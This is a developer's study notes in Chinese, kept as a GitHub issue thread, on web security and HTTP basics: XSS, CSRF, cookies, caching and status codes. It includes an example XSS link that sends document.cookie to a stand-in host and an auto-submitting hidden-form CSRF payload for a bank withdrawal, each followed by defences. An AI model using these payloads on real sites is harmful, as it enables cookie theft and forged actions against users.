search

moyahuang / 2020Flag

2020年莫莫哒要疯狂立flag！然后疯狂拔flag！
https://moyahuang.github.io/2020Flag/
0 stars 2 forks source link

计算机基础 #4

Open moyahuang opened 4 years ago

moyahuang commented 4 years ago

计算机网络

网络协议

网络安全

操作系统

moyahuang commented 4 years ago

XSS

XSS中文名跨站脚本攻击，是黑客通过某种方式在网站中（你的网站或者你使用的正规网站）注入恶意代码。恶意代码与正常代码混在一起，形式可能是一个script远程脚本引用、内嵌脚本、或者一个覆盖正常网页的内嵌网页。

黑客可以用XSS攻击做什么事(:question:)

  1. 恶意代码可能会盗取你的cookie或者账号密码等敏感信息传到黑客的服务器中。
  2. 修改页面DOM
  3. 未授权操作
  4. 发动XSS蠕虫攻击 ...

XSS依据注入恶意代码的方式可分为三类：反射型、DOM型和持久型XSS攻击。

1. 反射型

反射型的攻击步骤：

  1. 攻击者在URL中的参数中构造恶意代码
  2. 服务器端将该恶意代码构成的参数拼接到网页中返回给用户
  3. 浏览器接收响应后，执行恶意代码

场景实例： 反射型XSS攻击通常发生在网站搜索中，正常用户当然不会在搜索框中输入恶意代码，因此黑客往往是在正常网站中添加引诱链接(clickbait)，这种恶意链接往往很难被用户发现。比如在评论区添加:

点击这里有[更多学习资料](http://example.com/search?content=<script>http://badsite.com?cookie=document.cookie</script>)

另外，恶意链接可以存在于a链接、图片src或者插入的script标签中等等。

注：Chrome和Safari可以检测到url(数据在POST请求中不也一样吗？）中的xss攻击，但不是所有浏览器都可以。

2. 基于DOM型

基于DOM型XSS是由前端使用JS操作DOM时不严谨，将恶意代码插入到页面中。浏览器执行恶意代码，从而泄露了用户敏感数据。 基于DOM型和反射型区别在于基于DOM型的XSS攻击经过了服务器。

场景实例： 用户请求某网站会在url自动会带默认语言参数，例如default=English，改参数值会插入下拉列表某选项标签中。若修改default参数值为恶意代码，则恶意代码会被插入到页面中。 注意：恶意代码可能通过带有src,href或者script元素等方式注入 https://blog.csdn.net/qq_36119192/article/details/82932557

3. 持久型

持久型就是XSS恶意代码被存储到数据库中，用户访问相关数据网页时，含有恶意代码的数据被拼接到网页中，从而导致恶意代码被解析。

如何缓解防御XSS攻击

  1. 验证用户输入以及输出并做做内容转义，比如将特殊符号<转换为&lt等，或者尽量使用.innerText等插入内容
  2. 敏感的cookie添加HttpOnly等标志 这样js代码无法通过document.cookie获取cookie（时常前端需要获取cookie内容，所以HttpOnly属性一般用于与会话相关的cookie）
  3. 提示用户小心恶意链接
  4. 使用XSS攻击字串手动检测或第三方工具扫描（暂时没用过）
  5. 使用内容安全策略定义域白名单（:question:)

参考资料： https://juejin.im/post/5caa9e0d51882543d43f53e7#heading-8 https://juejin.im/post/5b83d02e6fb9a019cb3cdd7f https://juejin.im/post/5cd6ad7a51882568d3670a8e#heading-4 https://juejin.im/post/5e78d298f265da576a57a6bc#heading-2

moyahuang commented 4 years ago

CSRF

CSRF即跨站请求伪造。

攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。 利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证， 达到冒充用户对被攻击的网站执行某项操作的目的。

如何实现CSRF攻击

最容易实现的是 Get 请求，一般进入黑客网站后，可以通过设置 img的 src 属性来自动发起请求在黑客的网站中，构造隐藏表单来自动发起 Post 请求通过引诱链接诱惑用户点击触发请求，利用 a 标签的 href。例如： 点击下载美女视频 例1：我们有个博客系统当用户登陆博客后，只需要请求这个URL，就能够把编号为"1"的博客给删除了。具体步骤如下：

  1. 首先攻击者在自己域构造一个页面：[www.a.com/csrf.html]() 其内容为：<img src="blog.com/manage/delete?id=1"/> 该img标签地址指向了删除博客文章的链接。
    • 因此类似于post/delete/put等会对服务器数据造成修改的动作不要用get请求
  2. 攻击者诱使目标用户，也就是博客主访问这个页面：
  3. 访问之后博客就会被删除。

例2：除了使用GET请求，黑客网站通过如下方法嵌入隐藏表单，也可以冒充用户发起POST请求

<form action="https://bank.example.com/withdraw" method="POST">
  <input type="hidden" name="account" value="bob">
  <input type="hidden" name="amount" value="1000000">
  <input type="hidden" name="for" value="mallory">
</form>
<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>

CSRF攻击和XSS攻击有什么区别？

CSRF 攻击不需要将恶意代码注入用户的页面，仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。具体方式是引诱用户访问黑客网站，在用户不知情的情况下通过黑客网站的src属性值对目标用户站点发出请求，以实现某种操作的目的。 CSRF 攻击成本比 XSS 低，用户每天都要访问大量网页，无法确认每一个网页的合法性， 从用户角度来说，无法彻底防止 CSRF 攻击。

那应该如何防范CSRF攻击？

  1. 对保存有会话状态或者其他敏感状态的Cookie 的 SameSite 属性设置为 Strict 或 Lax服务端验证
  2. 请求来源站点(Referer、Origin)
  3. 使用 CSRF Token，服务端随机生成返回给浏览器的 Token，每一次请求都会携带不同的 CSRF Token
  4. 加入二次验证(独立的支付密码)

参考链接： https://juejin.im/post/5b4e0c936fb9a04fcf59cb79 https://juejin.im/post/5e78d298f265da576a57a6bc https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

moyahuang commented 4 years ago

Cookie

因为HTTP是无状态协议，即无论user agent发起多少次请求，服务器都不认识你。那么如果UA想要保存如游戏点数、购物车、登录、访问记录等等状态怎么办呢？cookie的原理就是在UA的请求头中添加一个这么一个可控制生命周期的字段，以记录UA希望保存的状态。

Cookie的主要用途有以下三类：

"小饼干"的头部

请求头 响应头
Set-Cookie
Cookie

下面是真实的请求和响应头部的样子：

//响应头
Set-Cookie:__Host-user_session_same_site=mEi-Y-Bh_cfkX_hTn1smCFdNs; path=/; expires=Wed, 22 Apr 2020 06:55:20 GMT; secure; HttpOnly; SameSite=Strict;
Set-Cookie:key2=value2;

//请求头（多个小饼干以分号间隔）
Cookie: __Host-user_session_same_site=mEi-Y-Bh_cfkX_hTn1smCFdNs;key2=value2;

Cookie属性

上述的两种主要的网络安全问题(XSS, CSRF)都与Cookie有关，因此Cookie的属性除了name/value以外，还有其他多个属性，这些属性都与安全问题相关。

下面的属性在请求头中以key=value形式存在

以及另外两个安全相关配置

第三方Cookie

尽管Cookie有其作用范围（Scope，通过Domain和Path控制），但是我们访问某个网站，常常可以看到来自不同域的cookie

截图来自hellomagazine.com

third-party domain

这种非当前域的cookie即第三方cookie。这是由网页中引入的其他域的静态资源（如图片、外部脚本等）有关。

遗留问题

:star:实际测试的时候引用的外部静态资源，Chrome现在有CORB保护策略，先放这儿，改天再看

CORB

参考资料： https://juejin.im/post/5e718ecc6fb9a07cda098c2d https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie

moyahuang commented 4 years ago

强缓存和协商缓存

缓存可以节省网络带宽，使用户更快地访问网络资源 。但是随之而来的问题是本地数据内存消耗和如何保持最新状态的问题。

强缓存

第一次请求时响应头包括以下头部，以UA时间为准，该时间内命中缓存。

相关头部

请求头 响应头 备注
Expires: Fri, 07 Dec 2020 10:30:25 GMT GMT时间格式字符串; 不推荐
Cache-Control: max-age=30 单位为秒

协商缓存

请求头 响应头
Last-Modified: [GMT时间格式字符串]
If-Modified-Since: [GMT时间格式字符串]

有些情况下仅判断最后修改日期来验证资源是否有改动是不够的： 1，存在周期性重写某些资源，但资源实际包含的内容并无变化； 2，被修改的信息并不重要，如注释等； 3，Last-Modified无法精确到毫秒，但有些资源更新频率有时会小于一秒。

ETag:为相应头部字段，表示资源内容的唯一标识，随服务器response返回； If-None-Match: 服务器比较请求头中的If-None-Match和当前资源中的etag是否一致，来判断资源是否修改过，如果没有修改，则命中缓存，浏览器从缓存中读取资源，如果修改过，服务器会返回新的etag，并返回资源。

请求头 响应头
ETag: "50b1c1d4f775c61:df3"
If-None-Match: W/"50b1c1d4f775c61:df3"

注：W/表示弱验证

上述缓存相关的请求在遇到资源未发生修改时，会返回状态码304。

作者：名扬 链接：https://juejin.im/post/5c0891f35188252bf829dc47 来源：掘金 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

moyahuang commented 4 years ago

常用状态码

https://juejin.im/post/5872309261ff4b005c4580d4#heading-5

我认为需要记忆的有以下： 100 请求收到，请继续完成请求 200/204/206 成功/请求成功，响应实体中没有内容/范围请求成功 301/302/304 永久重定向/临时重定向/请求的资源没有发生改变，请访问缓存 400/403/404 请求参数格式有误/请求被服务器拒绝/请求的资源不存在 500/503 服务器内部错误/服务器暂时无法处理请求

moyahuang commented 4 years ago

请求方法

HTTP的GET和POST请求的区别

HTTP的请求方法是一种规范，实质上他们的TCP数据包没有区别。根据规范浏览器和服务器端对于这两种请求的处理方法不同，具体用法以及效果如下：

  1. GET参数拼接在URL上，POST参数在请求体中（请求体中的参数可以用任意编码方式，可以为二进制）
  2. 浏览器会对GET请求进行缓存，而POST不会（因此回退操作时POST会重复发送请求，而GET则命中缓存）
  3. GET参数长度受限，因为大多数浏览器会对URL长度限制在2K以内；POST参数长度不受限
  4. 部分浏览器中POST请求会发送两个TCP数据包，第一个数据包发送header，返回状态码100 continue，第二个数据包发送数据
moyahuang commented 4 years ago

CORS

//todo;